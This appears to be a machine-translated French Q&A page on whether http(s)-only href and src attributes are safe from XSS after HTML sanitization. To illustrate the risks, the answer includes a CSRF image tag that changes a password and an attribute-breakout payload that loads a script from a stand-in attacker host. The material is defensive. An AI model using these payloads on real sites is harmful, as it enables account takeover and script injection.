web-dev-qa-db-fra.com

Est-ce sécuritaire? <a href=http://javascript:...>

Je me demande si les attributs href et src des balises <a> et <img> sont toujours sûrs w.r.t. Attaques XSS, si elles commencent par http:// ou https://.

Par exemple, est-il possible d'ajouter javascript: ... à l'attribut href et src d'une manière ou d'une autre, pour exécuter du code?

Ignore si la page de destination est ou non, par exemple. un site de pishing ou le <img src=...> déclenche une requête HTTP extrêmement complexe.

Arrière-plan: je traite du texte avec markdown, puis je nettoie le code HTML résultant (à l'aide du code JsHtmlSanitizer de Google Caja). Certains exemples de code dans Google Caja supposent que toutes les hrefs et srcs commençant par http:// ou https:// sont sûrs. Je me demande s’il est sans danger d’utiliser cet exemple de code.

Sincères amitiés,
Kaj-Magnus

3
KajMagnus

Autoriser uniquement le protocole http (s) empêche l'exécution de JavaScript, mais ils peuvent toujours être utilisés à des fins malveillantes. Considérer ce qui suit:

<img src="http://your.website.com/changepassword.php?newpass=hacked123" />

Permettre aux utilisateurs d'intégrer du contenu à partir de sites Web externes est toujours risqué, mais parfois inévitable. En vous assurant que vos scripts sont bien protégés contre XSS comme celui ci-dessus, votre site sera plus solide, sinon à 100%, à l'abri des attaques informatiques.

EDIT: Voici un assez complet aide-mémoire XSS , bien qu'un peu vieilli. Un point important tiré de la feuille de triche que j'ai oublié de mentionner est que vous devez également échapper les guillemets et/ou les signes > pour éviter les URL telles que http://legiturl.com"><script src="http://mal.icio.us/attack.js">.

3
Kaivosukeltaja